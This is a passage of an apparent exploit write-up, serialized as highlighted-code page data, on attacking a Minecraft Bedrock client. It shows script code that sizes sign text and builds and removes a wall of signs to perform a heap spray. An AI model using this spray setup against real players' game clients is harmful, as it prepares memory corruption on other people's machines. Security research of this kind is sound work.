sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[154968],{"type":24,"tag":80,"props":154969,"children":154970},{"__ignoreMap":7},[154971,154979,155021,155054,155099,155111,155118,155125,155186,155213,155228,155235,155242,155271,155286,155293,155300,155308,155332,155383,155394,155401,155408,155445,155472,155479,155508,155538,155545,155572],{"type":24,"tag":147,"props":154972,"children":154973},{"class":149,"line":150},[154974],{"type":24,"tag":147,"props":154975,"children":154976},{"style":154},[154977],{"type":29,"value":154978},"// Allocate sign text in the client\n",{"type":24,"tag":147,"props":154980,"children":154981},{"class":149,"line":160},[154982,154986,154991,154995,154999,155003,155008,155012,155017],{"type":24,"tag":147,"props":154983,"children":154984},{"style":218},[154985],{"type":29,"value":36978},{"type":24,"tag":147,"props":154987,"children":154988},{"style":229},[154989],{"type":29,"value":154990}," alloc",{"type":24,"tag":147,"props":154992,"children":154993},{"style":235},[154994],{"type":29,"value":480},{"type":24,"tag":147,"props":154996,"children":154997},{"style":247},[154998],{"type":29,"value":698},{"type":24,"tag":147,"props":155000,"children":155001},{"style":235},[155002],{"type":29,"value":546},{"type":24,"tag":147,"props":155004,"children":155005},{"style":247},[155006],{"type":29,"value":155007},"fill",{"type":24,"tag":147,"props":155009,"children":155010},{"style":241},[155011],{"type":29,"value":369},{"type":24,"tag":147,"props":155013,"children":155014},{"style":3534},[155015],{"type":29,"value":155016},"\"A\"",{"type":24,"tag":147,"props":155018,"children":155019},{"style":235},[155020],{"type":29,"value":505},{"type":24,"tag":147,"props":155022,"children":155023},{"class":149,"line":169},[155024,155028,155032,155036,155041,155045,155050],{"type":24,"tag":147,"props":155025,"children":155026},{"style":321},[155027],{"type":29,"value":324},{"type":24,"tag":147,"props":155029,"children":155030},{"style":235},[155031],{"type":29,"value":408},{"type":24,"tag":147,"props":155033,"children":155034},{"style":218},[155035],{"type":29,"value":17406},{"type":24,"tag":147,"props":155037,"children":155038},{"style":247},[155039],{"type":29,"value":155040}," sign",{"type":24,"tag":147,"props":155042,"children":155043},{"style":218},[155044],{"type":29,"value":15984},{"type":24,"tag":147,"props":155046,"children":155047},{"style":247},[155048],{"type":29,"value":155049}," signs",{"type":24,"tag":147,"props":155051,"children":155052},{"style":235},[155053],{"type":29,"value":505},{"type":24,"tag":147,"props":155055,"children":155056},{"class":149,"line":178},[155057,155061,155065,155070,155074,155079,155083,155087,155091,155095],{"type":24,"tag":147,"props":155058,"children":155059},{"style":321},[155060],{"type":29,"value":403},{"type":24,"tag":147,"props":155062,"children":155063},{"style":235},[155064],{"type":29,"value":408},{"type":24,"tag":147,"props":155066,"children":155067},{"style":247},[155068],{"type":29,"value":155069},"sign",{"type":24,"tag":147,"props":155071,"children":155072},{"style":235},[155073],{"type":29,"value":87},{"type":24,"tag":147,"props":155075,"children":155076},{"style":247},[155077],{"type":29,"value":155078},"allocated",{"type":24,"tag":147,"props":155080,"children":155081},{"style":241},[155082],{"type":29,"value":29300},{"type":24,"tag":147,"props":155084,"children":155085},{"style":247},[155086],{"type":29,"value":155040},{"type":24,"tag":147,"props":155088,"children":155089},{"style":235},[155090],{"type":29,"value":87},{"type":24,"tag":147,"props":155092,"children":155093},{"style":247},[155094],{"type":29,"value":137754},{"type":24,"tag":147,"props":155096,"children":155097},{"style":235},[155098],{"type":29,"value":505},{"type":24,"tag":147,"props":155100,"children":155101},{"class":149,"line":187},[155102,155107],{"type":24,"tag":147,"props":155103,"children":155104},{"style":321},[155105],{"type":29,"value":155106},"            continue",{"type":24,"tag":147,"props":155108,"children":155109},{"style":235},[155110],{"type":29,"value":432},{"type":24,"tag":147,"props":155112,"children":155113},{"class":149,"line":196},[155114],{"type":24,"tag":147,"props":155115,"children":155116},{"style":235},[155117],{"type":29,"value":441},{"type":24,"tag":147,"props":155119,"children":155120},{"class":149,"line":205},[155121],{"type":24,"tag":147,"props":155122,"children":155123},{"emptyLinePlaceholder":16},[155124],{"type":29,"value":314},{"type":24,"tag":147,"props":155126,"children":155127},{"class":149,"line":214},[155128,155133,155137,155141,155145,155150,155154,155158,155162,155166,155170,155174,155178,155182],{"type":24,"tag":147,"props":155129,"children":155130},{"style":247},[155131],{"type":29,"value":155132},"        sign",{"type":24,"tag":147,"props":155134,"children":155135},{"style":235},[155136],{"type":29,"value":87},{"type":24,"tag":147,"props":155138,"children":155139},{"style":247},[155140],{"type":29,"value":155069},{"type":24,"tag":147,"props":155142,"children":155143},{"style":235},[155144],{"type":29,"value":87},{"type":24,"tag":147,"props":155146,"children":155147},{"style":229},[155148],{"type":29,"value":155149},"setText",{"type":24,"tag":147,"props":155151,"children":155152},{"style":235},[155153],{"type":29,"value":480},{"type":24,"tag":147,"props":155155,"children":155156},{"style":247},[155157],{"type":29,"value":155007},{"type":24,"tag":147,"props":155159,"children":155160},{"style":235},[155161],{"type":29,"value":87},{"type":24,"tag":147,"props":155163,"children":155164},{"style":229},[155165],{"type":29,"value":138004},{"type":24,"tag":147,"props":155167,"children":155168},{"style":235},[155169],{"type":29,"value":480},{"type":24,"tag":147,"props":155171,"children":155172},{"style":247},[155173],{"type":29,"value":698},{"type":24,"tag":147,"props":155175,"children":155176},{"style":241},[155177],{"type":29,"value":1791},{"type":24,"tag":147,"props":155179,"children":155180},{"style":705},[155181],{"type":29,"value":10147},{"type":24,"tag":147,"props":155183,"children":155184},{"style":235},[155185],{"type":29,"value":12849},{"type":24,"tag":147,"props":155187,"children":155188},{"class":149,"line":272},[155189,155193,155197,155201,155205,155209],{"type":24,"tag":147,"props":155190,"children":155191},{"style":247},[155192],{"type":29,"value":155132},{"type":24,"tag":147,"props":155194,"children":155195},{"style":235},[155196],{"type":29,"value":87},{"type":24,"tag":147,"props":155198,"children":155199},{"style":247},[155200],{"type":29,"value":155078},{"type":24,"tag":147,"props":155202,"children":155203},{"style":241},[155204],{"type":29,"value":651},{"type":24,"tag":147,"props":155206,"children":155207},{"style":218},[155208],{"type":29,"value":18087},{"type":24,"tag":147,"props":155210,"children":155211},{"style":235},[155212],{"type":29,"value":432},{"type":24,"tag":147,"props":155214,"children":155215},{"class":149,"line":281},[155216,155220,155224],{"type":24,"tag":147,"props":155217,"children":155218},{"style":321},[155219],{"type":29,"value":7020},{"type":24,"tag":147,"props":155221,"children":155222},{"style":247},[155223],{"type":29,"value":155040},{"type":24,"tag":147,"props":155225,"children":155226},{"style":235},[155227],{"type":29,"value":432},{"type":24,"tag":147,"props":155229,"children":155230},{"class":149,"line":299},[155231],{"type":24,"tag":147,"props":155232,"children":155233},{"style":235},[155234],{"type":29,"value":1952},{"type":24,"tag":147,"props":155236,"children":155237},{"class":149,"line":308},[155238],{"type":24,"tag":147,"props":155239,"children":155240},{"emptyLinePlaceholder":16},[155241],{"type":29,"value":314},{"type":24,"tag":147,"props":155243,"children":155244},{"class":149,"line":317},[155245,155249,155253,155258,155262,155267],{"type":24,"tag":147,"props":155246,"children":155247},{"style":247},[155248],{"type":29,"value":37039},{"type":24,"tag":147,"props":155250,"children":155251},{"style":235},[155252],{"type":29,"value":87},{"type":24,"tag":147,"props":155254,"children":155255},{"style":229},[155256],{"type":29,"value":155257},"warn",{"type":24,"tag":147,"props":155259,"children":155260},{"style":235},[155261],{"type":29,"value":480},{"type":24,"tag":147,"props":155263,"children":155264},{"style":3534},[155265],{"type":29,"value":155266},"\"No more allocs\"",{"type":24,"tag":147,"props":155268,"children":155269},{"style":235},[155270],{"type":29,"value":1473},{"type":24,"tag":147,"props":155272,"children":155273},{"class":149,"line":332},[155274,155278,155282],{"type":24,"tag":147,"props":155275,"children":155276},{"style":321},[155277],{"type":29,"value":2597},{"type":24,"tag":147,"props":155279,"children":155280},{"style":218},[155281],{"type":29,"value":44934},{"type":24,"tag":147,"props":155283,"children":155284},{"style":235},[155285],{"type":29,"value":432},{"type":24,"tag":147,"props":155287,"children":155288},{"class":149,"line":350},[155289],{"type":24,"tag":147,"props":155290,"children":155291},{"style":235},[155292],{"type":29,"value":827},{"type":24,"tag":147,"props":155294,"children":155295},{"class":149,"line":358},[155296],{"type":24,"tag":147,"props":155297,"children":155298},{"emptyLinePlaceholder":16},[155299],{"type":29,"value":314},{"type":24,"tag":147,"props":155301,"children":155302},{"class":149,"line":397},[155303],{"type":24,"tag":147,"props":155304,"children":155305},{"style":154},[155306],{"type":29,"value":155307},"// Free an allocated sign in the client\n",{"type":24,"tag":147,"props":155309,"children":155310},{"class":149,"line":421},[155311,155315,155320,155324,155328],{"type":24,"tag":147,"props":155312,"children":155313},{"style":218},[155314],{"type":29,"value":36978},{"type":24,"tag":147,"props":155316,"children":155317},{"style":229},[155318],{"type":29,"value":155319}," free",{"type":24,"tag":147,"props":155321,"children":155322},{"style":235},[155323],{"type":29,"value":480},{"type":24,"tag":147,"props":155325,"children":155326},{"style":247},[155327],{"type":29,"value":155069},{"type":24,"tag":147,"props":155329,"children":155330},{"style":235},[155331],{"type":29,"value":505},{"type":24,"tag":147,"props":155333,"children":155334},{"class":149,"line":435},[155335,155339,155343,155347,155351,155355,155359,155363,155367,155371,155375,155379],{"type":24,"tag":147,"props":155336,"children":155337},{"style":321},[155338],{"type":29,"value":4759},{"type":24,"tag":147,"props":155340,"children":155341},{"style":235},[155342],{"type":29,"value":408},{"type":24,"tag":147,"props":155344,"children":155345},{"style":247},[155346],{"type":29,"value":155069},{"type":24,"tag":147,"props":155348,"children":155349},{"style":241},[155350],{"type":29,"value":8911},{"type":24,"tag":147,"props":155352,"children":155353},{"style":218},[155354],{"type":29,"value":44934},{"type":24,"tag":147,"props":155356,"children":155357},{"style":241},[155358],{"type":29,"value":29300},{"type":24,"tag":147,"props":155360,"children":155361},{"style":247},[155362],{"type":29,"value":155040},{"type":24,"tag":147,"props":155364,"children":155365},{"style":235},[155366],{"type":29,"value":87},{"type":24,"tag":147,"props":155368,"children":155369},{"style":247},[155370],{"type":29,"value":155078},{"type":24,"tag":147,"props":155372,"children":155373},{"style":241},[155374],{"type":29,"value":8911},{"type":24,"tag":147,"props":155376,"children":155377},{"style":218},[155378],{"type":29,"value":14682},{"type":24,"tag":147,"props":155380,"children":155381},{"style":235},[155382],{"type":29,"value":505},{"type":24,"tag":147,"props":155384,"children":155385},{"class":149,"line":444},[155386,155390],{"type":24,"tag":147,"props":155387,"children":155388},{"style":321},[155389],{"type":29,"value":7020},{"type":24,"tag":147,"props":155391,"children":155392},{"style":235},[155393],{"type":29,"value":432},{"type":24,"tag":147,"props":155395,"children":155396},{"class":149,"line":452},[155397],{"type":24,"tag":147,"props":155398,"children":155399},{"style":235},[155400],{"type":29,"value":1952},{"type":24,"tag":147,"props":155402,"children":155403},{"class":149,"line":461},[155404],{"type":24,"tag":147,"props":155405,"children":155406},{"emptyLinePlaceholder":16},[155407],{"type":29,"value":314},{"type":24,"tag":147,"props":155409,"children":155410},{"class":149,"line":469},[155411,155416,155420,155424,155428,155432,155436,155441],{"type":24,"tag":147,"props":155412,"children":155413},{"style":247},[155414],{"type":29,"value":155415},"    sign",{"type":24,"tag":147,"props":155417,"children":155418},{"style":235},[155419],{"type":29,"value":87},{"type":24,"tag":147,"props":155421,"children":155422},{"style":247},[155423],{"type":29,"value":155069},{"type":24,"tag":147,"props":155425,"children":155426},{"style":235},[155427],{"type":29,"value":87},{"type":24,"tag":147,"props":155429,"children":155430},{"style":229},[155431],{"type":29,"value":155149},{"type":24,"tag":147,"props":155433,"children":155434},{"style":235},[155435],{"type":29,"value":480},{"type":24,"tag":147,"props":155437,"children":155438},{"style":3534},[155439],{"type":29,"value":155440},"\"\"",{"type":24,"tag":147,"props":155442,"children":155443},{"style":235},[155444],{"type":29,"value":1473},{"type":24,"tag":147,"props":155446,"children":155447},{"class":149,"line":508},[155448,155452,155456,155460,155464,155468],{"type":24,"tag":147,"props":155449,"children":155450},{"style":247},[155451],{"type":29,"value":155415},{"type":24,"tag":147,"props":155453,"children":155454},{"style":235},[155455],{"type":29,"value":87},{"type":24,"tag":147,"props":155457,"children":155458},{"style":247},[155459],{"type":29,"value":155078},{"type":24,"tag":147,"props":155461,"children":155462},{"style":241},[155463],{"type":29,"value":651},{"type":24,"tag":147,"props":155465,"children":155466},{"style":218},[155467],{"type":29,"value":14682},{"type":24,"tag":147,"props":155469,"children":155470},{"style":235},[155471],{"type":29,"value":432},{"type":24,"tag":147,"props":155473,"children":155474},{"class":149,"line":572},[155475],{"type":24,"tag":147,"props":155476,"children":155477},{"emptyLinePlaceholder":16},[155478],{"type":29,"value":314},{"type":24,"tag":147,"props":155480,"children":155481},{"class":149,"line":591},[155482,155486,155490,155495,155499,155504],{"type":24,"tag":147,"props":155483,"children":155484},{"style":247},[155485],{"type":29,"value":155415},{"type":24,"tag":147,"props":155487,"children":155488},{"style":235},[155489],{"type":29,"value":87},{"type":24,"tag":147,"props":155491,"children":155492},{"style":247},[155493],{"type":29,"value":155494},"block",{"type":24,"tag":147,"props":155496,"children":155497},{"style":235},[155498],{"type":29,"value":87},{"type":24,"tag":147,"props":155500,"children":155501},{"style":229},[155502],{"type":29,"value":155503},"setPermutation",{"type":24,"tag":147,"props":155505,"children":155506},{"style":235},[155507],{"type":29,"value":9088},{"type":24,"tag":147,"props":155509,"children":155510},{"class":149,"line":632},[155511,155516,155520,155525,155529,155534],{"type":24,"tag":147,"props":155512,"children":155513},{"style":247},[155514],{"type":29,"value":155515},"        BlockPermutation",{"type":24,"tag":147,"props":155517,"children":155518},{"style":235},[155519],{"type":29,"value":87},{"type":24,"tag":147,"props":155521,"children":155522},{"style":229},[155523],{"type":29,"value":155524},"resolve",{"type":24,"tag":147,"props":155526,"children":155527},{"style":235},[155528],{"type":29,"value":480},{"type":24,"tag":147,"props":155530,"children":155531},{"style":3534},[155532],{"type":29,"value":155533},"\"minecraft:air\"",{"type":24,"tag":147,"props":155535,"children":155536},{"style":235},[155537],{"type":29,"value":269},{"type":24,"tag":147,"props":155539,"children":155540},{"class":149,"line":659},[155541],{"type":24,"tag":147,"props":155542,"children":155543},{"style":235},[155544],{"type":29,"value":49254},{"type":24,"tag":147,"props":155546,"children":155547},{"class":149,"line":684},[155548,155552,155556,155560,155564,155568],{"type":24,"tag":147,"props":155549,"children":155550},{"style":247},[155551],{"type":29,"value":155415},{"type":24,"tag":147,"props":155553,"children":155554},{"style":235},[155555],{"type":29,"value":87},{"type":24,"tag":147,"props":155557,"children":155558},{"style":247},[155559],{"type":29,"value":137754},{"type":24,"tag":147,"props":155561,"children":155562},{"style":241},[155563],{"type":29,"value":651},{"type":24,"tag":147,"props":155565,"children":155566},{"style":218},[155567],{"type":29,"value":18087},{"type":24,"tag":147,"props":155569,"children":155570},{"style":235},[155571],{"type":29,"value":432},{"type":24,"tag":147,"props":155573,"children":155574},{"class":149,"line":715},[155575],{"type":24,"tag":147,"props":155576,"children":155577},{"style":235},[155578],{"type":29,"value":827},{"type":24,"tag":25,"props":155580,"children":155581},{},[155582,155584,155590],{"type":29,"value":155583},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":24,"tag":80,"props":155585,"children":155587},{"className":155586},[],[155588],{"type":29,"value":155589},"signs",{"type":29,"value":155591}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":24,"tag":137,"props":155593,"children":155595},{"code":155594,"language":41216,"meta":7,"className":41214,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[155596],{"type":24,"tag":80,"props":155597,"children":155598},{"__ignoreMap":7},[155599,155614,155621,155637,155654,155661,155723,155785,155792,155808,155816,155838,155864,155889,155909,155938,155950,155957,155965,155987,156021,156028,156048,156064,156080,156096,156108,156116,156123,156130,156137,156144,156160,156175,156182,156241,156300,156307,156322,156330,156358,156386,156394,156401,156420,156447,156454,156461,156476,156483,156490,156497,156504,156560,156572,156579,156586,156647,156659],{"type":24,"tag":147,"props":155600,"children":155601},{"class":149,"line":150},[155602,155606,155610],{"type":24,"tag":147,"props":155603,"children":155604},{"style":218},[155605],{"type":29,"value":17406},{"type":24,"tag":147,"props":155607,"children":155608},{"style":247},[155609],{"type":29,"value":155049},{"type":24,"tag":147,"props":155611,"children":155612},{"style":235},[155613],{"type":29,"value":432},{"type":24,"tag":147,"props":155615,"children":155616},{"class":149,"line":160},[155617],{"type":24,"tag":147,"props":155618,"children":155619},{"emptyLinePlaceholder":16},[155620],{"type":29,"value":314},{"type":24,"tag":147,"props":155622,"children":155623},{"class":149,"line":169},[155624,155628,155633],{"type":24,"tag":147,"props":155625,"children":155626},{"style":218},[155627],{"type":29,"value":36978},{"type":24,"tag":147,"props":155629,"children":155630},{"style":229},[155631],{"type":29,"value":155632}," create_wall",{"type":24,"tag":147,"props":155634,"children":155635},{"style":235},[155636],{"type":29,"value":21347},{"type":24,"tag":147,"props":155638,"children":155639},{"class":149,"line":178},[155640,155645,155649],{"type":24,"tag":147,"props":155641,"children":155642},{"style":247},[155643],{"type":29,"value":155644},"    signs",{"type":24,"tag":147,"props":155646,"children":155647},{"style":241},[155648],{"type":29,"value":651},{"type":24,"tag":147,"props":155650,"children":155651},{"style":235},[155652],{"type":29,"value":155653}," [];\n",{"type":24,"tag":147,"props":155655,"children":155656},{"class":149,"line":187},[155657],{"type":24,"tag":147,"props":155658,"children":155659},{"emptyLinePlaceholder":16},[155660],{"type":29,"value":314},{"type":24,"tag":147,"props":155662,"children":155663},{"class":149,"line":196},[155664,155668,155672,155676,155681,155685,155689,155693,155698,155702,155707,155711,155715,155719],{"type":24,"tag":147,"props":155665,"children":155666},{"style":321},[155667],{"type":29,"value":324},{"type":24,"tag":147,"props":155669,"children":155670},{"style":235},[155671],{"type":29,"value":408},{"type":24,"tag":147,"props":155673,"children":155674},{"style":218},[155675],{"type":29,"value":17406},{"type":24,"tag":147,"props":155677,"children":155678},{"style":247},[155679],{"type":29,"value":155680}," current_y",{"type":24,"tag":147,"props":155682,"children":155683},{"style":241},[155684],{"type":29,"value":651},{"type":24,"tag":147,"props":155686,"children":155687},{"style":705},[155688],{"type":29,"value":708},{"type":24,"tag":147,"props":155690,"children":155691},{"style":235},[155692],{"type":29,"value":22832},{"type":24,"tag":147,"props":155694,"children":155695},{"style":247},[155696],{"type":29,"value":155697},"current_y",{"type":24,"tag":147,"props":155699,"children":155700},{"style":241},[155701],{"type":29,"value":14344},{"type":24,"tag":147,"props":155703,"children":155704},{"style":247},[155705],{"type":29,"value":155706}," WALL_HEIGHT",{"type":24,"tag":147,"props":155708,"children":155709},{"style":235},[155710],{"type":29,"value":22832},{"type":24,"tag":147,"props":155712,"children":155713},{"style":247},[155714],{"type":29,"value":155697},{"type":24,"tag":147,"props":155716,"children":155717},{"style":241},[155718],{"type":29,"value":56862},{"type":24,"tag":147,"props":155720,"children":155721},{"style":235},[155722],{"type":29,"value":505},{"type":24,"tag":147,"props":155724,"children":155725},{"class":149,"line":205},[155726,155730,155734,155738,155743,155747,155751,155755,155760,155764,155769,155773,155777,155781],{"type":24,"tag":147,"props":155727,"children":155728},{"style":321},[155729],{"type":29,"value":66158},{"type":24,"tag":147,"props":155731,"children":155732},{"style":235},[155733],{"type":29,"value":408},{"type":24,"tag":147,"props":155735,"children":155736},{"style":218},[155737],{"type":29,"value":17406},{"type":24,"tag":147,"props":155739,"children":155740},{"style":247},[155741],{"type":29,"value":155742}," current_x",{"type":24,"tag":147,"props":155744,"children":155745},{"style":241},[155746],{"type":29,"value":651},{"type":24,"tag":147,"props":155748,"children":155749},{"style":705},[155750],{"type":29,"value":708},{"type":24,"tag":147,"props":155752,"children":155753},{"style":235},[155754],{"type":29,"value":22832},{"type":24,"tag":147,"props":155756,"children":155757},{"style":247},[155758],{"type":29,"value":155759},"current_x",{"type":24,"tag":147,"props":155761,"children":155762},{"style":241},[155763],{"type":29,"value":14344},{"type":24,"tag":147,"props":155765,"children":155766},{"style":247},[155767],{"type":29,"value":155768}," WALL_WIDTH",{"type":24,"tag":147,"props":155770,"children":155771},{"style":235},[155772],{"type":29,"value":22832},{"type":24,"tag":147,"props":155774,"children":155775},{"style":247},[155776],{"type":29,"value":155759},{"type":24,"tag":147,"props":155778,"children":155779},{"style":241},[155780],{"type":29,"value":56862},{"type":24,"tag":147,"props":155782,"children":155783},{"style":235},[155784],{"type":29,"value":505},{"type":24,"tag":147,"props":155786,"children":155787},{"class":149,"line":214},[155788],{"type":24,"tag":147,"props":155789,"children":155790},{"emptyLinePlaceholder":16},[155791],{"type":29,"value":314},{"type":24,"tag":147,"props":155793,"children":155794},{"class":149,"line":272},[155795,155800,155804],{"type":24,"tag":147,"props":155796,"children":155797},{"style":235},[155798],{"type":29,"value":155799},"            [",{"type":24,"tag":147,"props":155801,"children":155802},{"style":241},[155803],{"type":29,"value":15212},{"type":24,"tag":147,"props":155805,"children":155806},{"style":235},[155807],{"type":29,"value":17391},{"type":24,"tag":147,"props":155809,"children":155810},{"class":149,"line":281},[155811],{"type":24,"tag":147,"props":155812,"children":155813},{"style":235},[155814],{"type":29,"value":155815},"            \n",{"type":24,"tag":147,"props":155817,"children":155818},{"class":149,"line":299},[155819,155824,155829,155833],{"type":24,"tag":147,"props":155820,"children":155821},{"style":218},[155822],{"type":29,"value":155823},"            const",{"type":24,"tag":147,"props":155825,"children":155826},{"style":247},[155827],{"type":29,"value":155828}," sign_block",{"type":24,"tag":147,"props":155830,"children":155831},{"style":241},[155832],{"type":29,"value":651},{"type":24,"tag":147,"props":155834,"children":155835},{"style":247},[155836],{"type":29,"value":155837}," world\n",{"type":24,"tag":147,"props":155839,"children":155840},{"class":149,"line":308},[155841,155846,155851,155855,155860],{"type":24,"tag":147,"props":155842,"children":155843},{"style":235},[155844],{"type":29,"value":155845},"                .",{"type":24,"tag":147,"props":155847,"children":155848},{"style":229},[155849],{"type":29,"value":155850},"getDimension",{"type":24,"tag":147,"props":155852,"children":155853},{"style":235},[155854],{"type":29,"value":480},{"type":24,"tag":147,"props":155856,"children":155857},{"style":3534},[155858],{"type":29,"value":155859},"\"overworld\"",{"type":24,"tag":147,"props":155861,"children":155862},{"style":235},[155863],{"type":29,"value":269},{"type":24,"tag":147,"props":155865,"children":155866},{"class":149,"line":317},[155867,155871,155876,155880,155885],{"type":24,"tag":147,"props":155868,"children":155869},{"style":235},[155870],{"type":29,"value":155845},{"type":24,"tag":147,"props":155872,"children":155873},{"style":229},[155874],{"type":29,"value":155875},"getBlock",{"type":24,"tag":147,"props":155877,"children":155878},{"style":235},[155879],{"type":29,"value":480},{"type":24,"tag":147,"props":155881,"children":155882},{"style":247},[155883],{"type":29,"value":155884},"sign_location",{"type":24,"tag":147,"props":155886,"children":155887},{"style":235},[155888],{"type":29,"value":1473},{"type":24,"tag":147,"props":155890,"children":155891},{"class":149,"line":332},[155892,155897,155901,155905],{"type":24,"tag":147,"props":155893,"children":155894},{"style":247},[155895],{"type":29,"value":155896},"            sign_block",{"type":24,"tag":147,"props":155898,"children":155899},{"style":235},[155900],{"type":29,"value":87},{"type":24,"tag":147,"props":155902,"children":155903},{"style":229},[155904],{"type":29,"value":155503},{"type":24,"tag":147,"props":155906,"children":155907},{"style":235},[155908],{"type":29,"value":9088},{"type":24,"tag":147,"props":155910,"children":155911},{"class":149,"line":350},[155912,155917,155921,155925,155929,155934],{"type":24,"tag":147,"props":155913,"children":155914},{"style":247},[155915],{"type":29,"value":155916},"                BlockPermutation",{"type":24,"tag":147,"props":155918,"children":155919},{"style":235},[155920],{"type":29,"value":87},{"type":24,"tag":147,"props":155922,"children":155923},{"style":229},[155924],{"type":29,"value":155524},{"type":24,"tag":147,"props":155926,"children":155927},{"style":235},[155928],{"type":29,"value":480},{"type":24,"tag":147,"props":155930,"children":155931},{"style":3534},[155932],{"type":29,"value":155933},"\"minecraft:wall_sign\"",{"type":24,"tag":147,"props":155935,"children":155936},{"style":235},[155937],{"type":29,"value":54480},{"type":24,"tag":147,"props":155939,"children":155940},{"class":149,"line":358},[155941,155946],{"type":24,"tag":147,"props":155942,"children":155943},{"style":247},[155944],{"type":29,"value":155945},"                    facing_direction:",{"type":24,"tag":147,"props":155947,"children":155948},{"style":705},[155949],{"type":29,"value":24931},{"type":24,"tag":147,"props":155951,"children":155952},{"class":149,"line":397},[155953],{"type":24,"tag":147,"props":155954,"children":155955},{"style":235},[155956],{"type":29,"value":1666},{"type":24,"tag":147,"props":155958,"children":155959},{"class":149,"line":421},[155960],{"type":24,"tag":147,"props":155961,"children":155962},{"style":235},[155963],{"type":29,"value":155964},"            ));\n",{"type":24,"tag":147,"props":155966,"children":155967},{"class":149,"line":435},[155968,155973,155978,155982],{"type":24,"tag":147,"props":155969,"children":155970},{"style":218},[155971],{"type":29,"value":155972},"            let",{"type":24,"tag":147,"props":155974,"children":155975},{"style":247},[155976],{"type":29,"value":155977}," sign_component",{"type":24,"tag":147,"props":155979,"children":155980},{"style":241},[155981],{"type":29,"value":651},{"type":24,"tag":147,"props":155983,"children":155984},{"style":247},[155985],{"type":29,"value":155986}," sign_block\n",{"type":24,"tag":147,"props":155988,"children":155989},{"class":149,"line":444},[155990,155994,155999,156003,156008,156012,156017],{"type":24,"tag":147,"props":155991,"children":155992},{"style":235},[155993],{"type":29,"value":155845},{"type":24,"tag":147,"props":155995,"children":155996},{"style":229},[155997],{"type":29,"value":155998},"getComponent",{"type":24,"tag":147,"props":156000,"children":156001},{"style":235},[156002],{"type":29,"value":480},{"type":24,"tag":147,"props":156004,"children":156005},{"style":247},[156006],{"type":29,"value":156007},"BlockComponentTypes",{"type":24,"tag":147,"props":156009,"children":156010},{"style":235},[156011],{"type":29,"value":87},{"type":24,"tag":147,"props":156013,"children":156014},{"style":247},[156015],{"type":29,"value":156016},"Sign",{"type":24,"tag":147,"props":156018,"children":156019},{"style":235},[156020],{"type":29,"value":1473},{"type":24,"tag":147,"props":156022,"children":156023},{"class":149,"line":452},[156024],{"type":24,"tag":147,"props":156025,"children":156026},{"emptyLinePlaceholder":16},[156027],{"type":29,"value":314},{"type":24,"tag":147,"props":156029,"children":156030},{"class":149,"line":461},[156031,156036,156040,156044],{"type":24,"tag":147,"props":156032,"children":156033},{"style":247},[156034],{"type":29,"value":156035},"            signs",{"type":24,"tag":147,"props":156037,"children":156038},{"style":235},[156039],{"type":29,"value":87},{"type":24,"tag":147,"props":156041,"children":156042},{"style":229},[156043],{"type":29,"value":9437},{"type":24,"tag":147,"props":156045,"children":156046},{"style":235},[156047],{"type":29,"value":20752},{"type":24,"tag":147,"props":156049,"children":156050},{"class":149,"line":469},[156051,156056,156060],{"type":24,"tag":147,"props":156052,"children":156053},{"style":247},[156054],{"type":29,"value":156055},"                sign:",{"type":24,"tag":147,"props":156057,"children":156058},{"style":247},[156059],{"type":29,"value":155977},{"type":24,"tag":147,"props":156061,"children":156062},{"style":235},[156063],{"type":29,"value":1549},{"type":24,"tag":147,"props":156065,"children":156066},{"class":149,"line":508},[156067,156072,156076],{"type":24,"tag":147,"props":156068,"children":156069},{"style":247},[156070],{"type":29,"value":156071},"                allocated:",{"type":24,"tag":147,"props":156073,"children":156074},{"style":218},[156075],{"type":29,"value":14682},{"type":24,"tag":147,"props":156077,"children":156078},{"style":235},[156079],{"type":29,"value":1549},{"type":24,"tag":147,"props":156081,"children":156082},{"class":149,"line":572},[156083,156088,156092],{"type":24,"tag":147,"props":156084,"children":156085},{"style":247},[156086],{"type":29,"value":156087},"                block:",{"type":24,"tag":147,"props":156089,"children":156090},{"style":247},[156091],{"type":29,"value":155828},{"type":24,"tag":147,"props":156093,"children":156094},{"style":235},[156095],{"type":29,"value":1549},{"type":24,"tag":147,"props":156097,"children":156098},{"class":149,"line":591},[156099,156104],{"type":24,"tag":147,"props":156100,"children":156101},{"style":247},[156102],{"type":29,"value":156103},"                removed:",{"type":24,"tag":147,"props":156105,"children":156106},{"style":218},[156107],{"type":29,"value":17929},{"type":24,"tag":147,"props":156109,"children":156110},{"class":149,"line":632},[156111],{"type":24,"tag":147,"props":156112,"children":156113},{"style":235},[156114],{"type":29,"value":156115},"            